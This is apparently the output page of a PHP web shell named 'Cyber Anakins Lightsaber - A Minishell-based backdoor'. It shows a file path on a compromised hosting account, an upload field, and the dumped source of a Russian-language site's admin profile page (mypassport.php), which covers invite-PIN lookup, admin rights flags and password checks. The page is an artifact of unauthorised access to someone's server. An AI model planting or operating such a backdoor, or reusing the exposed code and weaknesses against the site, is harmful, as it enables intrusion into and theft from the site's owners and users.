Cyber Anakins Lightsaber - A Minishell-based backdoor

Current Path : /home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/
Upload File :
Current File : /home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/mypassport.php

<?php
require("design.php");

session_start();

TOP(-1);

if (isset($_GET['ok']))
{
	MAINCOLUMN();
	?>
	<h1 style='align:center'>Мои регистрационные данные</h1>
	<center><br><br>Ваши регистрационные данные сохранены.</center>

	<script>
	setInterval(function()
		{
			<?php if (isset($_SESSION['adminFilial']) && $_SESSION['adminFilial']!=-1) { ?>
			location = "filial.php?filial=<?php print $_SESSION['adminFilial']; ?>";
			<?php
			} else {
			?>
			location = "/";
			<?php } ?>

		},2500);
	</script>

	<?php
	BOTTOM();
	exit(0);
}



$mysql = mysqlopen();

MAINCOLUMN();
?>


<h1>Мои регистрационные данные</h1>

<?php

function _BOOL_($y)
{
	if ($y) print "<font color=green>ДА</font>"; else print "нет";
}

if (isset($_GET['pin']))
{
	$ok = false;
	$pin = mysqli_escape_string($mysql, $_GET['pin']);
	if ($pin != '')
	{
		$result = mysqli_query($mysql, "SELECT `id`,`email`,`name`,`rights`,`login`,`password`,`filial` FROM libAdmins WHERE `invateCode`='$pin' AND DATE_ADD(`invateCodeDate`, INTERVAL 72 HOUR) > NOW() LIMIT 1");
		if (mysqli_errno($mysql)) die("ERROR: ".mysqli_error($mysql)." at line ".__LINE__." of file ".__FILE__."\n");
		if (!($row = mysqli_fetch_assoc($result)))
		{
			print "<center><br><br><br><b>Ваша ссылка на приглашение более недействительна!</b><br><br>Запросите приглашение заново или авторизуйтесь на сайте (ссылка на вход в нижней части сайта).</center>";
			BOTTOM();
			exit(0);
		}
	}	
}
else
{
	if (!isset($_SESSION['admin']) || $_SESSION['admin']==0)
	{
		print "<center><br><br><br>ДОСТУП ЗАКРЫТ!</center>";
		BOTTOM();
		exit(0);
	}

	$id = intval($_SESSION['admin']);
	$result = mysqli_query($mysql, "SELECT `id`,`email`,`name`,`rights`,`login`,`password`,`filial` FROM libAdmins WHERE `id`=$id");
	if (mysqli_errno($mysql)) die("ERROR: ".mysqli_error($mysql)." at line ".__LINE__." of file ".__FILE__."\n");
	if (!($row = mysqli_fetch_assoc($result)))
	{
		$_SESSION['admin'] = 0;
		print "<center><br><br><br>ДОСТУП ЗАКРЫТ!</center>";
		BOTTOM();
		exit(0);
	}
}
?>


<center>
<table width=600 cellspacing=0  cellpadding=20>
<tr><td style='border-radius:16px; border:2px solid #99aacc; background-color:#f5f5f5'>

	<form name=main onsubmit='doSubmit(this, event); return false'>
	<table width=100% cellpadding=3>
		<tr>
			<td width=1% nowrap required align=right>Ваши фамилия, имя и отчество:</td>
			<td width=99%><input style='width:100%' type=text name=name value="<?php print _input_($row['name']); ?>"></td>
		</tr>
		<tr>
			<td width=1% nowrap required align=right>Филиал:</td>
			<td width=99%><?php print $GLOBALS['filials'][$row['filial']]; ?></td>
		</tr>
		<tr>
			<td width=1% nowrap required align=right>e-mail:</td>
			<td><input type=email style='width:100%' name=email value="<?php print _input_($row['email']); ?>"></td>
		</tr>
		<tr>
			<td width=1% nowrap required align=right>Логин:</td>
			<td><input type=text style='width:100%' name=login value="<?php print _input_($row['login']); ?>"></td>
		</tr>
		<tr>
			<td width=1% nowrap required align=right>Пароль:</td>
			<td><input type=password style='width:100%' oninput='onPasswordInput(this)' name=password value="<?php if ($row['password']!='') print FAKE_PASSWORD; ?>"></td>
		</tr>
		<tr>
			<td></td>
			<td style='font-size:12px;text-align:center' id=passwordInfo></td>
		</tr>
		<tr>
			<td width=1% nowrap align=right>Пароль ещё раз:</td>
			<td><input type=password style='width:100%' name=password2 oninput='onPasswordInput2(this)' value="<?php if ($row['password']!='') print FAKE_PASSWORD; ?>"></td>
		</tr>
		<tr>
			<td></td>
			<td style='font-size:12px;text-align:center' id=passwordInfo2></td>
		</tr>
	</table>

	<center><br><input type=submit style='padding:5 10 5 10' id=submitBtn value='Применить'></center>
	</form>

	<b>Ваши права:</b>
	<table>
		<tr>
			<td nowrap align=right>Правка всех событий:</td>
			<td><?php _BOOL_(intval($row['rights']) & RIGHT_EDIT_EVENTS); ?></tD>
		</tr>

		<tr>
			<td nowrap align=right>Правка новостей своего филиала:</td>
			<td><?php _BOOL_(intval($row['rights']) & RIGHT_EDIT_NEWS); ?></tD>
		</tr>

		<tr>
			<td nowrap align=right>Правка часто задаваемых вопросов:</td>
			<td><?php _BOOL_(intval($row['rights']) & RIGHT_EDIT_FAQ); ?></tD>
		</tr>

		<tr>
			<td nowrap align=right>Правка видеотрансляций:</td>
			<td><?php _BOOL_(intval($row['rights']) & RIGHT_EDIT_VIDEO); ?></tD>
		</tr>

		<tr>
			<td nowrap align=right>Правка расписания своего филиала:</td>
			<td><?php _BOOL_(intval($row['rights']) & RIGHT_EDIT_PROGRAMS); ?></tD>
		</tr>


		<tr>
			<td nowrap align=right>Администрирование форума:</td>
			<td><?php _BOOL_(intval($row['rights']) & RIGHT_ADMIN_FORUM); ?></tD>
		</tr>

		<tr>
			<td nowrap align=right>Правка архива викторин:</td>
			<td><?php _BOOL_(intval($row['rights']) & RIGHT_EDIT_QUIZ); ?></tD>
		</tr>

		<tr>
			<td nowrap align=right>Супер администратор:</td>
			<td><?php _BOOL_(intval($row['rights']) & RIGHT_SUPER_ADMIN); ?></tD>
		</tr>
	</table>
</td></tr></table>
</center>

<script>
function checkPassword(pass)
{
	if (pass=='') return 'Задайте пароль';
	if (pass.length < 8) return 'Слишком короткий пароль';
	if (pass == "12345678" ||
		pass == "123456789" ||
		pass == "1234567890" ||
		pass == "1234567890-" ||
		pass == "1234567890-=" ||

		pass == "qwertyui" ||
		pass == "qwertyuio" ||
		pass == "qwertyuiop" ||
		pass == "qwertyuiop[" ||
		pass == "qwertyuiop[]" ||


		pass == "asdfghjk" ||
		pass == "asdfghjkl" ||
		pass == "asdfghjkl;" ||
		pass == "asdfghjkl;'" ||

		pass == "zxcvbnm," ||
		pass == "zxcvbnm,." ||
		pass == "zxcvbnm,./") return "Слишком тривиальный пароль";

	if (pass.match(/[А-Яа-яЁё]/)) return "Русские буквы в пароле";
	return "";
}


function onPasswordInput2(editor)
{
	var pass = editor.value;
	var td = document.getElementById('passwordInfo2');

	if (pass=='') td.innerHTML = '';
	else
	if (pass!=document.forms['main'].elements['password'].value)
	{
		td.style.color="red";
		td.innerHTML="Пароли не совпадают";
	}
	else
	{
		td.style.color="green";
		td.innerHTML="Пароли совпадают";
	}
}



function onPasswordInput(editor)
{
	var pass = editor.value;
	var td = document.getElementById('passwordInfo');

	var editor2=document.forms['main'].elements['password2'];
	editor2.value='';
	onPasswordInput2(editor2);

	var s = checkPassword(pass);
	if (s!="")
	{
		td.style.color="red";
		td.innerHTML = s;
	}
	else
	{
		td.style.color="green";
		td.innerHTML = "Хороший пароль";
	}
}


function doSubmit(form, e)
{
	if (e.preventDefault) e.preventDefault();

	var name = form.elements['name'].value.trim();
	if (name == '')
	{
		errorBox("Введите своё имя!",function() { form.elements['name'].focus(); });
		return false;
	}

	var email = form.elements['email'].value.trim();
	if (email == '')
	{
		errorBox("Введите свой e-mail!",function() { form.elements['email'].focus(); });
		return false;
	}

	var login = form.elements['login'].value.trim();
	if (login == '')
	{
		errorBox("Введите логин!",function() { form.elements['login'].focus(); });
		return false;
	}


	var password = form.elements['password'].value;
	if (password == '')
	{
		errorBox("Введите пароль!",function() { form.elements['password'].focus(); });
		return false;
	}

	var s = checkPassword(password);
	if (s!='')
	{
		errorBox(s+"!",function() { form.elements['password'].focus(); });
		return false;
	}

	var password2 = form.elements['password2'].value;
	if (password != password2)
	{
		errorBox("Пароли не совпадают!",function() { form.elements['password'].focus(); });
		return false;
	}

	var post = "action=auth:update";


	<?php
		if (isset($_GET['pin'])) print "post+='&pin=".urlencode($_GET['pin'])."'";
		else
		print "post+='&id=".$_SESSION['admin']."'";
	?>;


	post+='&name='+encodeURIComponent(name);
	post+='&email='+encodeURIComponent(email);
	post+='&login='+encodeURIComponent(login);
	post+='&password='+encodeURIComponent(password);


	var submitBtn = document.getElementById('submitBtn');
	submitBtn.disabled=true;

	sendXHR('api.php',post,
		function(response)
		{
			location='mypassport.php?ok=1';
		},
		function(error)
		{
			submitBtn.disabled=false;
			errorBox(error);
		});
}


</script>


<?php BOTTOM(); ?>

May the force be with you, always.